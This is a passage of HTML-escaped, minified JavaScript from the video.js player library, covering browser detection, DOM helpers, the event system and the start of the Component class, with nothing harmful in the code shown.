major=match[1]&amp;&amp;parseFloat(match[1]),minor=match[2]&amp;&amp;parseFloat(match[2]);return major&amp;&amp;minor?parseFloat(match[1]+&quot;.&quot;+match[2]):major||null}(),IS_NATIVE_ANDROID=IS_ANDROID&amp;&amp;ANDROID_VERSION&lt;5&amp;&amp;appleWebkitVersion&lt;537,IS_FIREFOX=/Firefox/i.test(USER_AGENT),IS_EDGE=/Edg/i.test(USER_AGENT),IS_CHROME=!IS_EDGE&amp;&amp;(/Chrome/i.test(USER_AGENT)||/CriOS/i.test(USER_AGENT)),CHROME_VERSION=function(){var match=USER_AGENT.match(/(Chrome|CriOS)\/(\d+)/);return match&amp;&amp;match[2]?parseFloat(match[2]):null}(),IE_VERSION=function(){var result=/MSIE\s(\d+)\.\d/.exec(USER_AGENT),version=result&amp;&amp;parseFloat(result[1]);return!version&amp;&amp;/Trident\/7.0/i.test(USER_AGENT)&amp;&amp;/rv:11.0/.test(USER_AGENT)&amp;&amp;(version=11),version}(),IS_SAFARI=/Safari/i.test(USER_AGENT)&amp;&amp;!IS_CHROME&amp;&amp;!IS_ANDROID&amp;&amp;!IS_EDGE,IS_WINDOWS=/Windows/i.test(USER_AGENT),TOUCH_ENABLED=Boolean(isReal()&amp;&amp;(&quot;ontouchstart&quot;in window||window.navigator.maxTouchPoints||window.DocumentTouch&amp;&amp;window.document instanceof window.DocumentTouch)),IS_IPAD=/iPad/i.test(USER_AGENT)||IS_SAFARI&amp;&amp;TOUCH_ENABLED&amp;&amp;!/iPhone/i.test(USER_AGENT),IS_IPHONE=/iPhone/i.test(USER_AGENT)&amp;&amp;!IS_IPAD,IS_IOS=IS_IPHONE||IS_IPAD||IS_IPOD,IS_ANY_SAFARI=(IS_SAFARI||IS_IOS)&amp;&amp;!IS_CHROME,browser=Object.freeze({__proto__:null,IS_IPOD:IS_IPOD,IOS_VERSION:IOS_VERSION,IS_ANDROID:IS_ANDROID,ANDROID_VERSION:ANDROID_VERSION,IS_NATIVE_ANDROID:IS_NATIVE_ANDROID,IS_FIREFOX:IS_FIREFOX,IS_EDGE:IS_EDGE,IS_CHROME:IS_CHROME,CHROME_VERSION:CHROME_VERSION,IE_VERSION:IE_VERSION,IS_SAFARI:IS_SAFARI,IS_WINDOWS:IS_WINDOWS,TOUCH_ENABLED:TOUCH_ENABLED,IS_IPAD:IS_IPAD,IS_IPHONE:IS_IPHONE,IS_IOS:IS_IOS,IS_ANY_SAFARI:IS_ANY_SAFARI});function isNonBlankString(str){return&quot;string&quot;==typeof str&amp;&amp;Boolean(str.trim())}function throwIfWhitespace(str){if(str.indexOf(&quot; &quot;)&gt;=0)throw new Error(&quot;class has illegal whitespace characters&quot;)}function isReal(){return document===window.document}function isEl(value){return isObject$1(value)&amp;&amp;1===value.nodeType}function isInFrame(){try{return window.parent!==window.self}catch(x){return!0}}function createQuerier(method){return function(selector,context){if(!isNonBlankString(selector))return document[method](null);isNonBlankString(context)&amp;&amp;(context=document.querySelector(context));var ctx=isEl(context)?context:document;return ctx[method]&amp;&amp;ctx[method](selector)}}function createEl(tagName,properties,attributes,content){void 0===tagName&amp;&amp;(tagName=&quot;div&quot;),void 0===properties&amp;&amp;(properties={}),void 0===attributes&amp;&amp;(attributes={});var el=document.createElement(tagName);return Object.getOwnPropertyNames(properties).forEach((function(propName){var val=properties[propName];-1!==propName.indexOf(&quot;aria-&quot;)||&quot;role&quot;===propName||&quot;type&quot;===propName?(log$1.warn(&quot;Setting attributes in the second argument of createEl()\nhas been deprecated. Use the third argument instead.\ncreateEl(type, properties, attributes). Attempting to set &quot;+propName+&quot; to &quot;+val+&quot;.&quot;),el.setAttribute(propName,val)):&quot;textContent&quot;===propName?textContent(el,val):el[propName]===val&amp;&amp;&quot;tabIndex&quot;!==propName||(el[propName]=val)})),Object.getOwnPropertyNames(attributes).forEach((function(attrName){el.setAttribute(attrName,attributes[attrName])})),content&amp;&amp;appendContent(el,content),el}function textContent(el,text){return void 0===el.textContent?el.innerText=text:el.textContent=text,el}function prependTo(child,parent){parent.firstChild?parent.insertBefore(child,parent.firstChild):parent.appendChild(child)}function hasClass(element,classToCheck){return throwIfWhitespace(classToCheck),element.classList?element.classList.contains(classToCheck):(className=classToCheck,new RegExp(&quot;(^|\\s)&quot;+className+&quot;($|\\s)&quot;)).test(element.className);var className}function addClass(element,classToAdd){return element.classList?element.classList.add(classToAdd):hasClass(element,classToAdd)||(element.className=(element.className+&quot; &quot;+classToAdd).trim()),element}function removeClass(element,classToRemove){return element?(element.classList?element.classList.remove(classToRemove):(throwIfWhitespace(classToRemove),element.className=element.className.split(/\s+/).filter((function(c){return c!==classToRemove})).join(&quot; &quot;)),element):(log$1.warn(&quot;removeClass was called with an element that doesn&#039;t exist&quot;),null)}function toggleClass(element,classToToggle,predicate){var has=hasClass(element,classToToggle);if(&quot;function&quot;==typeof predicate&amp;&amp;(predicate=predicate(element,classToToggle)),&quot;boolean&quot;!=typeof predicate&amp;&amp;(predicate=!has),predicate!==has)return predicate?addClass(element,classToToggle):removeClass(element,classToToggle),element}function setAttributes(el,attributes){Object.getOwnPropertyNames(attributes).forEach((function(attrName){var attrValue=attributes[attrName];null==attrValue||!1===attrValue?el.removeAttribute(attrName):el.setAttribute(attrName,!0===attrValue?&quot;&quot;:attrValue)}))}function getAttributes(tag){var obj={},knownBooleans=&quot;,autoplay,controls,playsinline,loop,muted,default,defaultMuted,&quot;;if(tag&amp;&amp;tag.attributes&amp;&amp;tag.attributes.length&gt;0)for(var attrs=tag.attributes,i=attrs.length-1;i&gt;=0;i--){var attrName=attrs[i].name,attrVal=attrs[i].value;&quot;boolean&quot;!=typeof tag[attrName]&amp;&amp;-1===knownBooleans.indexOf(&quot;,&quot;+attrName+&quot;,&quot;)||(attrVal=null!==attrVal),obj[attrName]=attrVal}return obj}function getAttribute(el,attribute){return el.getAttribute(attribute)}function setAttribute(el,attribute,value){el.setAttribute(attribute,value)}function removeAttribute(el,attribute){el.removeAttribute(attribute)}function blockTextSelection(){document.body.focus(),document.onselectstart=function(){return!1}}function unblockTextSelection(){document.onselectstart=function(){return!0}}function getBoundingClientRect(el){if(el&amp;&amp;el.getBoundingClientRect&amp;&amp;el.parentNode){var rect=el.getBoundingClientRect(),result={};return[&quot;bottom&quot;,&quot;height&quot;,&quot;left&quot;,&quot;right&quot;,&quot;top&quot;,&quot;width&quot;].forEach((function(k){void 0!==rect[k]&amp;&amp;(result[k]=rect[k])})),result.height||(result.height=parseFloat(computedStyle(el,&quot;height&quot;))),result.width||(result.width=parseFloat(computedStyle(el,&quot;width&quot;))),result}}function findPosition(el){if(!el||el&amp;&amp;!el.offsetParent)return{left:0,top:0,width:0,height:0};for(var width=el.offsetWidth,height=el.offsetHeight,left=0,top=0;el.offsetParent&amp;&amp;el!==document[FullscreenApi.fullscreenElement];)left+=el.offsetLeft,top+=el.offsetTop,el=el.offsetParent;return{left:left,top:top,width:width,height:height}}function getPointerPosition(el,event){var translated={x:0,y:0};if(IS_IOS)for(var item=el;item&amp;&amp;&quot;html&quot;!==item.nodeName.toLowerCase();){var transform=computedStyle(item,&quot;transform&quot;);if(/^matrix/.test(transform)){var values=transform.slice(7,-1).split(/,\s/).map(Number);translated.x+=values[4],translated.y+=values[5]}else if(/^matrix3d/.test(transform)){var _values=transform.slice(9,-1).split(/,\s/).map(Number);translated.x+=_values[12],translated.y+=_values[13]}item=item.parentNode}var position={},boxTarget=findPosition(event.target),box=findPosition(el),boxW=box.width,boxH=box.height,offsetY=event.offsetY-(box.top-boxTarget.top),offsetX=event.offsetX-(box.left-boxTarget.left);return event.changedTouches&amp;&amp;(offsetX=event.changedTouches[0].pageX-box.left,offsetY=event.changedTouches[0].pageY+box.top,IS_IOS&amp;&amp;(offsetX-=translated.x,offsetY-=translated.y)),position.y=1-Math.max(0,Math.min(1,offsetY/boxH)),position.x=Math.max(0,Math.min(1,offsetX/boxW)),position}function isTextNode(value){return isObject$1(value)&amp;&amp;3===value.nodeType}function emptyEl(el){for(;el.firstChild;)el.removeChild(el.firstChild);return el}function normalizeContent(content){return&quot;function&quot;==typeof content&amp;&amp;(content=content()),(Array.isArray(content)?content:[content]).map((function(value){return&quot;function&quot;==typeof value&amp;&amp;(value=value()),isEl(value)||isTextNode(value)?value:&quot;string&quot;==typeof value&amp;&amp;/\S/.test(value)?document.createTextNode(value):void 0})).filter((function(value){return value}))}function appendContent(el,content){return normalizeContent(content).forEach((function(node){return el.appendChild(node)})),el}function insertContent(el,content){return appendContent(emptyEl(el),content)}function isSingleLeftClick(event){return void 0===event.button&amp;&amp;void 0===event.buttons||(0===event.button&amp;&amp;void 0===event.buttons||(&quot;mouseup&quot;===event.type&amp;&amp;0===event.button&amp;&amp;0===event.buttons||0===event.button&amp;&amp;1===event.buttons))}var videojs$1,$=createQuerier(&quot;querySelector&quot;),$$=createQuerier(&quot;querySelectorAll&quot;),Dom=Object.freeze({__proto__:null,isReal:isReal,isEl:isEl,isInFrame:isInFrame,createEl:createEl,textContent:textContent,prependTo:prependTo,hasClass:hasClass,addClass:addClass,removeClass:removeClass,toggleClass:toggleClass,setAttributes:setAttributes,getAttributes:getAttributes,getAttribute:getAttribute,setAttribute:setAttribute,removeAttribute:removeAttribute,blockTextSelection:blockTextSelection,unblockTextSelection:unblockTextSelection,getBoundingClientRect:getBoundingClientRect,findPosition:findPosition,getPointerPosition:getPointerPosition,isTextNode:isTextNode,emptyEl:emptyEl,normalizeContent:normalizeContent,appendContent:appendContent,insertContent:insertContent,isSingleLeftClick:isSingleLeftClick,$:$,$$:$$}),_windowLoaded=!1,autoSetup=function(){if(!1!==videojs$1.options.autoSetup){var vids=Array.prototype.slice.call(document.getElementsByTagName(&quot;video&quot;)),audios=Array.prototype.slice.call(document.getElementsByTagName(&quot;audio&quot;)),divs=Array.prototype.slice.call(document.getElementsByTagName(&quot;video-js&quot;)),mediaEls=vids.concat(audios,divs);if(mediaEls&amp;&amp;mediaEls.length&gt;0)for(var i=0,e=mediaEls.length;i&lt;e;i++){var mediaEl=mediaEls[i];if(!mediaEl||!mediaEl.getAttribute){autoSetupTimeout(1);break}void 0===mediaEl.player&amp;&amp;null!==mediaEl.getAttribute(&quot;data-setup&quot;)&amp;&amp;videojs$1(mediaEl)}else _windowLoaded||autoSetupTimeout(1)}};function autoSetupTimeout(wait,vjs){isReal()&amp;&amp;(vjs&amp;&amp;(videojs$1=vjs),window.setTimeout(autoSetup,wait))}function setWindowLoaded(){_windowLoaded=!0,window.removeEventListener(&quot;load&quot;,setWindowLoaded)}isReal()&amp;&amp;(&quot;complete&quot;===document.readyState?setWindowLoaded():window.addEventListener(&quot;load&quot;,setWindowLoaded));var FakeWeakMap,createStyleElement=function(className){var style=document.createElement(&quot;style&quot;);return style.className=className,style},setTextContent=function(el,content){el.styleSheet?el.styleSheet.cssText=content:el.textContent=content},_guid=3;function newGUID(){return _guid++}window.WeakMap||(FakeWeakMap=function(){function FakeWeakMap(){this.vdata=&quot;vdata&quot;+Math.floor(window.performance&amp;&amp;window.performance.now()||Date.now()),this.data={}}var _proto=FakeWeakMap.prototype;return _proto.set=function(key,value){var access=key[this.vdata]||newGUID();return key[this.vdata]||(key[this.vdata]=access),this.data[access]=value,this},_proto.get=function(key){var access=key[this.vdata];if(access)return this.data[access];log$1(&quot;We have no data for this element&quot;,key)},_proto.has=function(key){return key[this.vdata]in this.data},_proto.delete=function(key){var access=key[this.vdata];access&amp;&amp;(delete this.data[access],delete key[this.vdata])},FakeWeakMap}());var _supportsPassive,DomData=window.WeakMap?new WeakMap:new FakeWeakMap;function _cleanUpEvents(elem,type){if(DomData.has(elem)){var data=DomData.get(elem);0===data.handlers[type].length&amp;&amp;(delete data.handlers[type],elem.removeEventListener?elem.removeEventListener(type,data.dispatcher,!1):elem.detachEvent&amp;&amp;elem.detachEvent(&quot;on&quot;+type,data.dispatcher)),Object.getOwnPropertyNames(data.handlers).length&lt;=0&amp;&amp;(delete data.handlers,delete data.dispatcher,delete data.disabled),0===Object.getOwnPropertyNames(data).length&amp;&amp;DomData.delete(elem)}}function _handleMultipleEvents(fn,elem,types,callback){types.forEach((function(type){fn(elem,type,callback)}))}function fixEvent(event){if(event.fixed_)return event;function returnTrue(){return!0}function returnFalse(){return!1}if(!event||!event.isPropagationStopped||!event.isImmediatePropagationStopped){var old=event||window.event;for(var key in event={},old)&quot;layerX&quot;!==key&amp;&amp;&quot;layerY&quot;!==key&amp;&amp;&quot;keyLocation&quot;!==key&amp;&amp;&quot;webkitMovementX&quot;!==key&amp;&amp;&quot;webkitMovementY&quot;!==key&amp;&amp;(&quot;returnValue&quot;===key&amp;&amp;old.preventDefault||(event[key]=old[key]));if(event.target||(event.target=event.srcElement||document),event.relatedTarget||(event.relatedTarget=event.fromElement===event.target?event.toElement:event.fromElement),event.preventDefault=function(){old.preventDefault&amp;&amp;old.preventDefault(),event.returnValue=!1,old.returnValue=!1,event.defaultPrevented=!0},event.defaultPrevented=!1,event.stopPropagation=function(){old.stopPropagation&amp;&amp;old.stopPropagation(),event.cancelBubble=!0,old.cancelBubble=!0,event.isPropagationStopped=returnTrue},event.isPropagationStopped=returnFalse,event.stopImmediatePropagation=function(){old.stopImmediatePropagation&amp;&amp;old.stopImmediatePropagation(),event.isImmediatePropagationStopped=returnTrue,event.stopPropagation()},event.isImmediatePropagationStopped=returnFalse,null!==event.clientX&amp;&amp;void 0!==event.clientX){var doc=document.documentElement,body=document.body;event.pageX=event.clientX+(doc&amp;&amp;doc.scrollLeft||body&amp;&amp;body.scrollLeft||0)-(doc&amp;&amp;doc.clientLeft||body&amp;&amp;body.clientLeft||0),event.pageY=event.clientY+(doc&amp;&amp;doc.scrollTop||body&amp;&amp;body.scrollTop||0)-(doc&amp;&amp;doc.clientTop||body&amp;&amp;body.clientTop||0)}event.which=event.charCode||event.keyCode,null!==event.button&amp;&amp;void 0!==event.button&amp;&amp;(event.button=1&amp;event.button?0:4&amp;event.button?1:2&amp;event.button?2:0)}return event.fixed_=!0,event}var passiveEvents=[&quot;touchstart&quot;,&quot;touchmove&quot;];function on(elem,type,fn){if(Array.isArray(type))return _handleMultipleEvents(on,elem,type,fn);DomData.has(elem)||DomData.set(elem,{});var data=DomData.get(elem);if(data.handlers||(data.handlers={}),data.handlers[type]||(data.handlers[type]=[]),fn.guid||(fn.guid=newGUID()),data.handlers[type].push(fn),data.dispatcher||(data.disabled=!1,data.dispatcher=function(event,hash){if(!data.disabled){event=fixEvent(event);var handlers=data.handlers[event.type];if(handlers)for(var handlersCopy=handlers.slice(0),m=0,n=handlersCopy.length;m&lt;n&amp;&amp;!event.isImmediatePropagationStopped();m++)try{handlersCopy[m].call(elem,event,hash)}catch(e){log$1.error(e)}}}),1===data.handlers[type].length)if(elem.addEventListener){var options=!1;(function(){if(&quot;boolean&quot;!=typeof _supportsPassive){_supportsPassive=!1;try{var opts=Object.defineProperty({},&quot;passive&quot;,{get:function(){_supportsPassive=!0}});window.addEventListener(&quot;test&quot;,null,opts),window.removeEventListener(&quot;test&quot;,null,opts)}catch(e){}}return _supportsPassive})()&amp;&amp;passiveEvents.indexOf(type)&gt;-1&amp;&amp;(options={passive:!0}),elem.addEventListener(type,data.dispatcher,options)}else elem.attachEvent&amp;&amp;elem.attachEvent(&quot;on&quot;+type,data.dispatcher)}function off(elem,type,fn){if(DomData.has(elem)){var data=DomData.get(elem);if(data.handlers){if(Array.isArray(type))return _handleMultipleEvents(off,elem,type,fn);var removeType=function(el,t){data.handlers[t]=[],_cleanUpEvents(el,t)};if(void 0!==type){var handlers=data.handlers[type];if(handlers)if(fn){if(fn.guid)for(var n=0;n&lt;handlers.length;n++)handlers[n].guid===fn.guid&amp;&amp;handlers.splice(n--,1);_cleanUpEvents(elem,type)}else removeType(elem,type)}else for(var t in data.handlers)Object.prototype.hasOwnProperty.call(data.handlers||{},t)&amp;&amp;removeType(elem,t)}}}function trigger(elem,event,hash){var elemData=DomData.has(elem)?DomData.get(elem):{},parent=elem.parentNode||elem.ownerDocument;if(&quot;string&quot;==typeof event?event={type:event,target:elem}:event.target||(event.target=elem),event=fixEvent(event),elemData.dispatcher&amp;&amp;elemData.dispatcher.call(elem,event,hash),parent&amp;&amp;!event.isPropagationStopped()&amp;&amp;!0===event.bubbles)trigger.call(null,parent,event,hash);else if(!parent&amp;&amp;!event.defaultPrevented&amp;&amp;event.target&amp;&amp;event.target[event.type]){DomData.has(event.target)||DomData.set(event.target,{});var targetData=DomData.get(event.target);event.target[event.type]&amp;&amp;(targetData.disabled=!0,&quot;function&quot;==typeof event.target[event.type]&amp;&amp;event.target[event.type](),targetData.disabled=!1)}return!event.defaultPrevented}function one(elem,type,fn){if(Array.isArray(type))return _handleMultipleEvents(one,elem,type,fn);var func=function func(){off(elem,type,func),fn.apply(this,arguments)};func.guid=fn.guid=fn.guid||newGUID(),on(elem,type,func)}function any(elem,type,fn){var func=function func(){off(elem,type,func),fn.apply(this,arguments)};func.guid=fn.guid=fn.guid||newGUID(),on(elem,type,func)}var EVENT_MAP,Events=Object.freeze({__proto__:null,fixEvent:fixEvent,on:on,off:off,trigger:trigger,one:one,any:any}),bind=function(context,fn,uid){fn.guid||(fn.guid=newGUID());var bound=fn.bind(context);return bound.guid=uid?uid+&quot;_&quot;+fn.guid:fn.guid,bound},throttle=function(fn,wait){var last=window.performance.now();return function(){var now=window.performance.now();now-last&gt;=wait&amp;&amp;(fn.apply(void 0,arguments),last=now)}},EventTarget$2=function(){};EventTarget$2.prototype.allowedEvents_={},EventTarget$2.prototype.on=function(type,fn){var ael=this.addEventListener;this.addEventListener=function(){},on(this,type,fn),this.addEventListener=ael},EventTarget$2.prototype.addEventListener=EventTarget$2.prototype.on,EventTarget$2.prototype.off=function(type,fn){off(this,type,fn)},EventTarget$2.prototype.removeEventListener=EventTarget$2.prototype.off,EventTarget$2.prototype.one=function(type,fn){var ael=this.addEventListener;this.addEventListener=function(){},one(this,type,fn),this.addEventListener=ael},EventTarget$2.prototype.any=function(type,fn){var ael=this.addEventListener;this.addEventListener=function(){},any(this,type,fn),this.addEventListener=ael},EventTarget$2.prototype.trigger=function(event){var type=event.type||event;&quot;string&quot;==typeof event&amp;&amp;(event={type:type}),event=fixEvent(event),this.allowedEvents_[type]&amp;&amp;this[&quot;on&quot;+type]&amp;&amp;this[&quot;on&quot;+type](event),trigger(this,event)},EventTarget$2.prototype.dispatchEvent=EventTarget$2.prototype.trigger,EventTarget$2.prototype.queueTrigger=function(event){var _this=this;EVENT_MAP||(EVENT_MAP=new Map);var type=event.type||event,map=EVENT_MAP.get(this);map||(map=new Map,EVENT_MAP.set(this,map));var oldTimeout=map.get(type);map.delete(type),window.clearTimeout(oldTimeout);var timeout=window.setTimeout((function(){0===map.size&amp;&amp;(map=null,EVENT_MAP.delete(_this)),_this.trigger(event)}),0);map.set(type,timeout)};var objName=function(obj){return&quot;function&quot;==typeof obj.name?obj.name():&quot;string&quot;==typeof obj.name?obj.name:obj.name_?obj.name_:obj.constructor&amp;&amp;obj.constructor.name?obj.constructor.name:typeof obj},isEvented=function(object){return object instanceof EventTarget$2||!!object.eventBusEl_&amp;&amp;[&quot;on&quot;,&quot;one&quot;,&quot;off&quot;,&quot;trigger&quot;].every((function(k){return&quot;function&quot;==typeof object[k]}))},isValidEventType=function(type){return&quot;string&quot;==typeof type&amp;&amp;/\S/.test(type)||Array.isArray(type)&amp;&amp;!!type.length},validateTarget=function(target,obj,fnName){if(!target||!target.nodeName&amp;&amp;!isEvented(target))throw new Error(&quot;Invalid target for &quot;+objName(obj)+&quot;#&quot;+fnName+&quot;; must be a DOM node or evented object.&quot;)},validateEventType=function(type,obj,fnName){if(!isValidEventType(type))throw new Error(&quot;Invalid event type for &quot;+objName(obj)+&quot;#&quot;+fnName+&quot;; must be a non-empty string or array.&quot;)},validateListener=function(listener,obj,fnName){if(&quot;function&quot;!=typeof listener)throw new Error(&quot;Invalid listener for &quot;+objName(obj)+&quot;#&quot;+fnName+&quot;; must be a function.&quot;)},normalizeListenArgs=function(self,args,fnName){var target,type,listener,isTargetingSelf=args.length&lt;3||args[0]===self||args[0]===self.eventBusEl_;return isTargetingSelf?(target=self.eventBusEl_,args.length&gt;=3&amp;&amp;args.shift(),type=args[0],listener=args[1]):(target=args[0],type=args[1],listener=args[2]),validateTarget(target,self,fnName),validateEventType(type,self,fnName),validateListener(listener,self,fnName),{isTargetingSelf:isTargetingSelf,target:target,type:type,listener:listener=bind(self,listener)}},listen=function(target,method,type,listener){validateTarget(target,target,method),target.nodeName?Events[method](target,type,listener):target[method](type,listener)},EventedMixin={on:function(){for(var _this=this,_len=arguments.length,args=new Array(_len),_key=0;_key&lt;_len;_key++)args[_key]=arguments[_key];var _normalizeListenArgs=normalizeListenArgs(this,args,&quot;on&quot;),isTargetingSelf=_normalizeListenArgs.isTargetingSelf,target=_normalizeListenArgs.target,type=_normalizeListenArgs.type,listener=_normalizeListenArgs.listener;if(listen(target,&quot;on&quot;,type,listener),!isTargetingSelf){var removeListenerOnDispose=function(){return _this.off(target,type,listener)};removeListenerOnDispose.guid=listener.guid;var removeRemoverOnTargetDispose=function(){return _this.off(&quot;dispose&quot;,removeListenerOnDispose)};removeRemoverOnTargetDispose.guid=listener.guid,listen(this,&quot;on&quot;,&quot;dispose&quot;,removeListenerOnDispose),listen(target,&quot;on&quot;,&quot;dispose&quot;,removeRemoverOnTargetDispose)}},one:function(){for(var _this2=this,_len2=arguments.length,args=new Array(_len2),_key2=0;_key2&lt;_len2;_key2++)args[_key2]=arguments[_key2];var _normalizeListenArgs2=normalizeListenArgs(this,args,&quot;one&quot;),isTargetingSelf=_normalizeListenArgs2.isTargetingSelf,target=_normalizeListenArgs2.target,type=_normalizeListenArgs2.type,listener=_normalizeListenArgs2.listener;if(isTargetingSelf)listen(target,&quot;one&quot;,type,listener);else{var wrapper=function wrapper(){_this2.off(target,type,wrapper);for(var _len3=arguments.length,largs=new Array(_len3),_key3=0;_key3&lt;_len3;_key3++)largs[_key3]=arguments[_key3];listener.apply(null,largs)};wrapper.guid=listener.guid,listen(target,&quot;one&quot;,type,wrapper)}},any:function(){for(var _this3=this,_len4=arguments.length,args=new Array(_len4),_key4=0;_key4&lt;_len4;_key4++)args[_key4]=arguments[_key4];var _normalizeListenArgs3=normalizeListenArgs(this,args,&quot;any&quot;),isTargetingSelf=_normalizeListenArgs3.isTargetingSelf,target=_normalizeListenArgs3.target,type=_normalizeListenArgs3.type,listener=_normalizeListenArgs3.listener;if(isTargetingSelf)listen(target,&quot;any&quot;,type,listener);else{var wrapper=function wrapper(){_this3.off(target,type,wrapper);for(var _len5=arguments.length,largs=new Array(_len5),_key5=0;_key5&lt;_len5;_key5++)largs[_key5]=arguments[_key5];listener.apply(null,largs)};wrapper.guid=listener.guid,listen(target,&quot;any&quot;,type,wrapper)}},off:function(targetOrType,typeOrListener,listener){if(!targetOrType||isValidEventType(targetOrType))off(this.eventBusEl_,targetOrType,typeOrListener);else{var target=targetOrType,type=typeOrListener;validateTarget(target,this,&quot;off&quot;),validateEventType(type,this,&quot;off&quot;),validateListener(listener,this,&quot;off&quot;),listener=bind(this,listener),this.off(&quot;dispose&quot;,listener),target.nodeName?(off(target,type,listener),off(target,&quot;dispose&quot;,listener)):isEvented(target)&amp;&amp;(target.off(type,listener),target.off(&quot;dispose&quot;,listener))}},trigger:function(event,hash){validateTarget(this.eventBusEl_,this,&quot;trigger&quot;);var type=event&amp;&amp;&quot;string&quot;!=typeof event?event.type:event;if(!isValidEventType(type)){var error=&quot;Invalid event type for &quot;+objName(this)+&quot;#trigger; must be a non-empty string or object with a type key that has a non-empty value.&quot;;if(!event)throw new Error(error);(this.log||log$1).error(error)}return trigger(this.eventBusEl_,event,hash)}};function evented(target,options){void 0===options&amp;&amp;(options={});var eventBusKey=options.eventBusKey;if(eventBusKey){if(!target[eventBusKey].nodeName)throw new Error(&#039;The eventBusKey &quot;&#039;+eventBusKey+&#039;&quot; does not refer to an element.&#039;);target.eventBusEl_=target[eventBusKey]}else target.eventBusEl_=createEl(&quot;span&quot;,{className:&quot;vjs-event-bus&quot;});return assign(target,EventedMixin),target.eventedCallbacks&amp;&amp;target.eventedCallbacks.forEach((function(callback){callback()})),target.on(&quot;dispose&quot;,(function(){target.off(),[target,target.el_,target.eventBusEl_].forEach((function(val){val&amp;&amp;DomData.has(val)&amp;&amp;DomData.delete(val)})),window.setTimeout((function(){target.eventBusEl_=null}),0)})),target}var StatefulMixin={state:{},setState:function(stateUpdates){var changes,_this=this;return&quot;function&quot;==typeof stateUpdates&amp;&amp;(stateUpdates=stateUpdates()),each(stateUpdates,(function(value,key){_this.state[key]!==value&amp;&amp;((changes=changes||{})[key]={from:_this.state[key],to:value}),_this.state[key]=value})),changes&amp;&amp;isEvented(this)&amp;&amp;this.trigger({changes:changes,type:&quot;statechanged&quot;}),changes}};function stateful(target,defaultState){return assign(target,StatefulMixin),target.state=assign({},target.state,defaultState),&quot;function&quot;==typeof target.handleStateChanged&amp;&amp;isEvented(target)&amp;&amp;target.on(&quot;statechanged&quot;,target.handleStateChanged),target}var toLowerCase=function(string){return&quot;string&quot;!=typeof string?string:string.replace(/./,(function(w){return w.toLowerCase()}))},toTitleCase$1=function(string){return&quot;string&quot;!=typeof string?string:string.replace(/./,(function(w){return w.toUpperCase()}))};function mergeOptions$3(){for(var result={},_len=arguments.length,sources=new Array(_len),_key=0;_key&lt;_len;_key++)sources[_key]=arguments[_key];return sources.forEach((function(source){source&amp;&amp;each(source,(function(value,key){isPlain(value)?(isPlain(result[key])||(result[key]={}),result[key]=mergeOptions$3(result[key],value)):result[key]=value}))})),result}var MapSham=function(){function MapSham(){this.map_={}}var _proto=MapSham.prototype;return _proto.has=function(key){return key in this.map_},_proto.delete=function(key){var has=this.has(key);return delete this.map_[key],has},_proto.set=function(key,value){return this.map_[key]=value,this},_proto.forEach=function(callback,thisArg){for(var key in this.map_)callback.call(thisArg,this.map_[key],key,this)},MapSham}(),Map$1=window.Map?window.Map:MapSham,SetSham=function(){function SetSham(){this.set_={}}var _proto=SetSham.prototype;return _proto.has=function(key){return key in this.set_},_proto.delete=function(key){var has=this.has(key);return delete this.set_[key],has},_proto.add=function(key){return this.set_[key]=1,this},_proto.forEach=function(callback,thisArg){for(var key in this.set_)callback.call(thisArg,key,key,this)},SetSham}(),Set=window.Set?window.Set:SetSham,Component$1=function(){function Component(player,options,ready){if(!player&amp;&amp;this.play?this.player_=player=this:this.player_=player,this.isDisposed_=!1,this.parentComponent_=null,this.options_=mergeOptions$3({},this.options_),options=this.options_=mergeOptions$3(this.options_,options),this.id_=options.id||options.el&amp;&amp;options.el.id,!this.id_){var id=player&amp;&amp;player.id&amp;&amp;player.id()||&quot;no_player&quot;;this.id_=id+&quot;_component_&quot;+newGUID()}this.name_=options.name||null,options.el?this.el_=options.el:!1!==options.createEl&amp;&amp;(this.el_=this.createEl()),!1!==options.evented&amp;&amp;(evented(this,{eventBusKey:this.el_?&quot;el_&quot;:null}),this.handleLanguagechange=this.handleLanguagechange.bind(this),this.on(this.player_,&quot;languagechange&quot;,this.handleLanguagechange)),stateful(this,this.constructor.defaultState),this.children_=[],this.childIndex_={},this.childNameIndex_={},this.setTimeoutIds_=new Set,this.setIntervalIds_=new Set,this.rafIds_=new Set,this.namedRafs_=new Map$1,this.clearingTimersOnDispose_=!1,!1!==options.initChildren&amp;&amp;this.initChildren(),this.ready(ready),!1!==options.reportTouchActivity&amp;&amp;this.enableTouchActivity()}var _proto=Component.prototype;return _proto.dispose=function(){if(!this.isDisposed_){if(this.readyQueue_&amp;&amp;(this.readyQueue_.length=0),this.trigger({type:&quot;dispose&quot;,bubbles:!1}),this.isDisposed_=!0,this.children_)for(var i=this.children_.length-1;i&gt;=0;i--)this.children_[i].dispose&amp;&amp;this.children_[i].dispose();this.children_=null,this.childIndex_=null,this.childNameIndex_=null,this.parentComponent_=null,this.el_&amp;&amp;(this.el_.parentNode&amp;&amp;this.el_.parentNode.removeChild(this.el_),this.el_=null),this.player_=null}},_proto.isDisposed=function(){return Boolean(this.isDisposed_)},_proto.player=function(){return this.player_},_proto.options=function(obj){return obj?(this.options_=mergeOptions$3(this.options_,obj),this.options_):this.options_},_proto.el=function(){return this.el_},_proto.createEl=function(tagName,properties,attributes){return createEl(tagName,properties,attributes)},_proto.localize=function(string,tokens,defaultValue){void 0===defaultValue&amp;&amp;(defaultValue=string);var code=this.player_.language&amp;&amp;this.player_.language(),languages=this.player_.languages&amp;&amp;this.player_.languages(),language=languages&amp;&amp;languages[code],primaryCode=code&amp;&amp;code.split(&quot;-&quot;)[0],primaryLang=languages&amp;&amp;languages[primaryCode],localizedString=defaultValue;return language&amp;&amp;language[string]?localizedString=language[string]:primaryLang&amp;&amp;primaryLang[string]&amp;&amp;(localizedString=primaryLang[string]),tokens&amp;&amp;(localizedString=localizedString.replace(/\{(\d+)\}/g,(function(match,index){var value=tokens[index-1],ret=value;return void 0===value&amp;&amp;(ret=match),ret}))),localizedString},_proto.handleLanguagechange=function(){},_proto.contentEl=function(){return this.contentEl_||this.el_},_proto.id=function(){return this.id_},_proto.name=function(){return this.name_},_proto.children=function(){return this.children_},_proto.getChildById=function(id){return this.childIndex_[id]},_proto.getChild=function(name){if(name)return this.childNameIndex_[name]},_proto.getDescendant=function(){for(var _len=arguments.length,names=new Array(_len),_key=0;_key&lt;_len;_key++)names[_key]=arguments[_key];names=names.reduce((function(acc,n){return acc.concat(n)}),[]);for(var currentChild=this,i=0;i&lt;names.length;i++)if(!(currentChild=currentChild.getChild(names[i]))||!currentChild.getChild)return;return currentChild},_proto.addChild=function(child,options,index){var component,componentName;if(void 0===options&amp;&amp;(options={}),void 